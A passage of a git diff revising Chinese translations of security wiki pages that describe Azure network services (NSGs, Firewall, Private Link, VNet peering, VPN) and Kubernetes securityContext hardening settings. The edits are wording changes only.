../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md
|
||||
{{#endref}}
|
||||
|
||||
## 利用后
|
||||
## 后期利用
|
||||
|
||||
{{#ref}}
|
||||
../../az-post-exploitation/az-vms-and-network-post-exploitation.md
|
||||
|
||||
@@ -49,9 +49,9 @@ Select-Object Name, AddressPrefix
|
||||
|
||||
## 网络安全组 (NSG)
|
||||
|
||||
一个 **网络安全组 (NSG)** 过滤 Azure 虚拟网络 (VNet) 中 Azure 资源的网络流量。它包含一组 **安全规则**,可以指示 **哪些端口应为入站和出站流量开放**,根据源端口、源 IP、目标端口,并且可以分配优先级(优先级数字越低,优先级越高)。
|
||||
一个 **网络安全组 (NSG)** 过滤 Azure 虚拟网络 (VNet) 内 Azure 资源的网络流量。它包含一组 **安全规则**,可以指示 **哪些端口可以用于入站和出站流量**,通过源端口、源 IP、目标端口,并且可以分配优先级(优先级数字越低,优先级越高)。
|
||||
|
||||
NSG 可以与 **子网和网络接口卡 (NIC)** 关联。
|
||||
NSG 可以与 **子网和 NIC 关联。**
|
||||
|
||||
**规则示例:**
|
||||
|
||||
@@ -91,20 +91,20 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
|
||||
|
||||
## Azure Firewall
|
||||
|
||||
Azure Firewall 是 Azure 中的一个 **托管网络安全服务**,通过检查和控制流量来保护云资源。它是一个 **有状态防火墙**,根据第 3 层到第 7 层的规则过滤流量,支持 **在 Azure 内部**(东西向流量)和 **与外部网络之间**(南北向流量)的通信。部署在 **虚拟网络 (VNet) 级别**,为 VNet 中的所有子网提供集中保护。Azure Firewall 自动扩展以应对流量需求,并确保高可用性,无需手动设置。
|
||||
Azure Firewall 是 Azure 中的 **托管网络安全服务**,通过检查和控制流量来保护云资源。它是一个 **有状态防火墙**,根据第 3 层到第 7 层的规则过滤流量,支持 **在 Azure 内部**(东西向流量)和 **与外部网络之间**(南北向流量)的通信。部署在 **虚拟网络 (VNet) 级别**,为 VNet 中的所有子网提供集中保护。Azure Firewall 自动扩展以应对流量需求,并确保高可用性,无需手动设置。
|
||||
|
||||
它提供三种 SKU——**基本版**、**标准版**和 **高级版**,每种版本都针对特定客户需求进行了定制:
|
||||
|
||||
| Criteria/Feature | Option 1 | Option 2 | Option 3 |
|
||||
| ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- |
|
||||
| **推荐使用案例** | 需求有限的小型/中型企业 (SMBs) | 一般企业使用,层 3–7 过滤 | 高度敏感的环境(例如,支付处理) |
|
||||
| **性能** | 高达 250 Mbps 吞吐量 | 高达 30 Gbps 吞吐量 | 高达 100 Gbps 吞吐量 |
|
||||
| **威胁情报** | 仅警报 | 警报和阻止(恶意 IP/域名) | 警报和阻止(高级威胁情报) |
|
||||
| **L3–L7 过滤** | 基本过滤 | 跨协议的有状态过滤 | 具有高级检查的有状态过滤 |
|
||||
| **高级威胁保护** | 不可用 | 基于威胁情报的过滤 | 包括入侵检测和防御系统 (IDPS) |
|
||||
| **推荐使用案例** | 需求有限的小型/中型企业 (SMBs) | 一般企业使用,第 3 层到第 7 层过滤 | 高度敏感的环境(例如,支付处理) |
|
||||
| **性能** | 高达 250 Mbps 吞吐量 | 高达 30 Gbps 吞吐量 | 高达 100 Gbps 吞吐量 |
|
||||
| **威胁情报** | 仅警报 | 警报和阻止(恶意 IP/域名) | 警报和阻止(高级威胁情报) |
|
||||
| **L3–L7 过滤** | 基本过滤 | 跨协议的有状态过滤 | 具有高级检查的有状态过滤 |
|
||||
| **高级威胁保护** | 不可用 | 基于威胁情报的过滤 | 包括入侵检测和防御系统 (IDPS) |
|
||||
| **TLS 检查** | 不可用 | 不可用 | 支持入站/出站 TLS 终止 |
|
||||
| **可用性** | 固定后端 (2 个虚拟机) | 自动扩展 | 自动扩展 |
|
||||
| **管理简易性** | 基本控制 | 通过防火墙管理器进行管理 | 通过防火墙管理器进行管理 |
|
||||
| **可用性** | 固定后端 (2 个虚拟机) | 自动扩展 | 自动扩展 |
|
||||
| **管理简易性** | 基本控制 | 通过防火墙管理器进行管理 | 通过防火墙管理器进行管理 |
|
||||
|
||||
### Enumeration
|
||||
|
||||
@@ -172,7 +172,7 @@ Get-AzRouteTable
|
||||
|
||||
## Azure Private Link
|
||||
|
||||
Azure Private Link 是 Azure 中的一项服务,**通过确保您 Azure 虚拟网络 (VNet) 与服务之间的流量完全在 Microsoft 的 Azure 主干网络内传输,从而实现对 Azure 服务的私有访问**。它有效地将服务引入您的 VNet。此设置通过不将数据暴露于公共互联网来增强安全性。
|
||||
Azure Private Link 是 Azure 中的一项服务,**通过确保您的 Azure 虚拟网络 (VNet) 与服务之间的流量完全在 Microsoft 的 Azure 主干网络内传输,从而实现对 Azure 服务的私有访问**。它有效地将服务引入您的 VNet。此设置通过不将数据暴露于公共互联网来增强安全性。
|
||||
|
||||
Private Link 可以与各种 Azure 服务一起使用,如 Azure Storage、Azure SQL Database 和通过 Private Link 共享的自定义服务。它提供了一种安全的方式,从您自己的 VNet 或甚至不同的 Azure 订阅中使用服务。
|
||||
|
||||
@@ -212,7 +212,7 @@ Azure 服务端点扩展了您的虚拟网络私有地址空间和 VNet 的身
|
||||
|
||||
**示例:**
|
||||
|
||||
例如,**Azure Storage** 账户默认可以通过公共互联网访问。通过在您的 VNet 内启用 **Azure Storage 的服务端点**,您可以确保只有来自您 VNet 的流量可以访问存储账户。然后可以配置存储账户防火墙,仅接受来自您 VNet 的流量。
|
||||
例如,**Azure Storage** 账户默认可以通过公共互联网访问。通过在您的 VNet 中启用 **Azure Storage 的服务端点**,您可以确保只有来自您 VNet 的流量可以访问存储账户。然后可以配置存储账户防火墙,仅接受来自您 VNet 的流量。
|
||||
|
||||
### **枚举**
|
||||
|
||||
@@ -259,13 +259,13 @@ Microsoft 推荐在 [**docs**](https://learn.microsoft.com/en-us/azure/virtual-n
|
||||
- 它为 Azure 服务或您在 Azure 中托管的自有服务提供安全连接,以及与他人共享的服务的连接。
|
||||
- 它通过 VNet 中的私有端点提供更细粒度的访问控制,而不是通过服务端点在子网级别提供更广泛的访问控制。
|
||||
|
||||
总之,虽然服务端点和私有链接都提供安全的 Azure 服务连接,**私有链接通过确保服务私密访问而不暴露于公共互联网,提供更高水平的隔离和安全性**。另一方面,服务端点在一般情况下更易于设置,适用于需要简单、安全访问 Azure 服务而不需要 VNet 中的私有 IP 的场景。
|
||||
总之,虽然服务端点和私有链接都提供安全的 Azure 服务连接,**私有链接通过确保服务私密访问而不暴露于公共互联网,提供更高水平的隔离和安全性**。另一方面,服务端点在一般情况下更易于设置,适用于需要简单、安全访问 Azure 服务而不需要 VNet 中私有 IP 的情况。
|
||||
|
||||
## Azure Front Door (AFD) 和 AFD WAF
|
||||
|
||||
**Azure Front Door** 是一个可扩展且安全的入口点,用于 **快速交付** 您的全球 web 应用程序。它 **结合** 了全球 **负载均衡、站点加速、SSL 卸载和 Web 应用防火墙 (WAF)** 功能于一体。Azure Front Door 提供基于 **离用户最近的边缘位置** 的智能路由,确保最佳性能和可靠性。此外,它还提供基于 URL 的路由、多站点托管、会话亲和性和应用层安全性。
|
||||
|
||||
**Azure Front Door WAF** 旨在 **保护 web 应用程序免受基于 web 的攻击**,无需修改后端代码。它包括自定义规则和管理规则集,以防范 SQL 注入、跨站脚本和其他常见攻击等威胁。
|
||||
**Azure Front Door WAF** 旨在 **保护 web 应用程序免受基于 web 的攻击**,而无需修改后端代码。它包括自定义规则和管理规则集,以防范 SQL 注入、跨站脚本和其他常见攻击等威胁。
|
||||
|
||||
**示例:**
|
||||
|
||||
@@ -325,7 +325,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
|
||||
**VNet Peering** 是 Azure 中的一项网络功能,**允许不同的虚拟网络 (VNets) 直接无缝连接**。通过 VNet 对等连接,一个 VNet 中的资源可以使用私有 IP 地址与另一个 VNet 中的资源进行通信,**就像它们在同一网络中一样**。\
|
||||
**VNet 对等连接还可以与本地网络一起使用**,通过设置站点到站点的 VPN 或 Azure ExpressRoute。
|
||||
|
||||
**Azure Hub 和 Spoke** 是在 Azure 中用于管理和组织网络流量的网络拓扑。**“中心”是一个控制和路由不同“辐射”的流量的中心点**。中心通常包含共享服务,如网络虚拟设备 (NVA)、Azure VPN 网关、Azure 防火墙或 Azure Bastion。**“辐射”是承载工作负载并通过 VNet 对等连接到中心的 VNets**,使它们能够利用中心内的共享服务。该模型促进了清晰的网络布局,通过集中多个 VNet 可以使用的公共服务来减少复杂性。
|
||||
**Azure Hub 和 Spoke** 是在 Azure 中用于管理和组织网络流量的网络拓扑。**“中心”是一个控制和路由不同“辐射”的流量的中心点**。中心通常包含共享服务,如网络虚拟设备 (NVA)、Azure VPN 网关、Azure 防火墙或 Azure Bastion。**“辐射”是承载工作负载并通过 VNet 对等连接到中心的 VNets**,使它们能够利用中心内的共享服务。该模型促进了清晰的网络布局,通过集中多个 VNet 中的公共服务来减少复杂性。
|
||||
|
||||
> [!CAUTION] > **在 Azure 中,VNET 对等连接是非传递的**,这意味着如果辐射 1 连接到辐射 2,辐射 2 连接到辐射 3,则辐射 1 不能直接与辐射 3 通信。
|
||||
|
||||
@@ -368,7 +368,7 @@ Get-AzFirewall
|
||||
|
||||
**示例:**
|
||||
|
||||
一家总部位于纽约的企业拥有一个本地数据中心,需要安全地连接到其在 Azure 中托管虚拟化工作负载的 VNet。通过设置 **Site-to-Site VPN,该公司可以确保本地服务器与 Azure 虚拟机之间的加密连接**,使得资源可以在两个环境中安全访问,就像它们在同一本地网络中一样。
|
||||
一家总部位于纽约的企业拥有一个本地数据中心,需要安全地连接到其在 Azure 中托管虚拟化工作负载的 VNet。通过设置 **Site-to-Site VPN,公司可以确保本地服务器与 Azure 虚拟机之间的加密连接**,使得资源可以在两个环境中安全访问,就像它们在同一本地网络中一样。
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
|
||||
+6
-6
@@ -11,10 +11,10 @@
|
||||
- 将 **runASNonRoot** 设置为 **True**
|
||||
- 配置 **runAsUser**
|
||||
- 如果可能,考虑 **限制** **权限**,指明 **seLinuxOptions** 和 **seccompProfile**
|
||||
- **不要** 通过 **runAsGroup** 和 **supplementaryGroups** 提供 **特权** **组** 访问
|
||||
- **不要** 通过 **runAsGroup** 和 **supplementaryGroups** 授予 **特权** **组** 访问权限
|
||||
|
||||
| 参数 | 描述 |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>适用于<strong>所有容器的特殊补充组</strong>。某些卷类型允许 Kubelet <strong>更改该卷的所有权</strong>,使其归 Pod 所有:<br>1. 拥有的 GID 将是 FSGroup<br>2. 设置 setgid 位(在卷中创建的新文件将由 FSGroup 拥有)<br>3. 权限位与 rw-rw---- 进行 OR 运算。如果未设置,Kubelet 将不会修改任何卷的所有权和权限</p> |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>适用于<strong>所有容器的特殊补充组</strong>。某些卷类型允许 Kubelet <strong>更改该卷的所有权</strong>,使其归 Pod 所有:<br>1. 拥有的 GID 将是 FSGroup<br>2. 设置 setgid 位(在卷中创建的新文件将由 FSGroup 拥有)<br>3. 权限位与 rw-rw---- 进行 OR 操作。如果未设置,Kubelet 将不会修改任何卷的所有权和权限</p> |
|
||||
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | 这定义了在 Pod 内部暴露之前 **更改卷的所有权和权限** 的行为。 |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | **运行容器进程的入口点的 GID**。如果未设置,则使用运行时默认值。 |
|
||||
@@ -38,15 +38,15 @@
|
||||
- 如果可能,将 **readOnlyFilesystem** 设置为 **True**
|
||||
- 将 **runAsNonRoot** 设置为 **True** 并设置 **runAsUser**
|
||||
- 如果可能,考虑 **限制** **权限**,指明 **seLinuxOptions** 和 **seccompProfile**
|
||||
- **不要** 通过 **runAsGroup** 提供 **特权** **组** 访问。
|
||||
- **不要** 通过 **runAsGroup** 授予 **特权** **组** 访问权限。
|
||||
|
||||
请注意,在 **SecurityContext 和 PodSecurityContext** 中设置的属性,**SecurityContext** 中指定的值具有 **优先权**。
|
||||
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation** 控制进程是否可以 **获得比其父进程更多的权限**。此布尔值直接控制是否将在容器进程上设置 no_new_privs 标志。当容器以 **Privileged** 身份运行或具有 **CAP_SYS_ADMIN** 时,AllowPrivilegeEscalation 始终为 true。 |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation** 控制进程是否可以 **获得比其父进程更多的权限**。此布尔值直接控制是否将在容器进程上设置 no_new_privs 标志。当容器以 **Privileged** 身份运行或具有 **CAP_SYS_ADMIN** 时,AllowPrivilegeEscalation 始终为 true |
|
||||
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>有关</em> <em><strong>Capabilities</strong></em> 的更多信息</p> | **运行容器时添加/删除的能力**。默认为默认的能力集。 |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | 以特权模式运行容器。特权容器中的进程基本上与主机上的 **root 等效**。默认为 false。 |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMount 表示 **用于容器的 proc 挂载类型**。默认值为 DefaultProcMount,它使用容器运行时的只读路径和屏蔽路径的默认值。 |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | 以特权模式运行容器。特权容器中的进程基本上 **等同于主机上的 root**。默认为 false。 |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMount 表示 **用于容器的 proc 挂载类型**。默认值为 DefaultProcMount,它使用容器运行时的默认只读路径和屏蔽路径。 |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | 此 **容器是否具有只读根文件系统**。默认值为 false。 |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | **运行容器进程的入口点的 GID**。如果未设置,则使用运行时默认值。 |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | 表示容器必须 **以非根用户身份运行**。如果为 true,Kubelet 将在运行时验证映像,以确保它不以 UID 0(根)身份运行,如果是,则无法启动容器。 |
|
||||
|
||||
Reference in New Issue
Block a user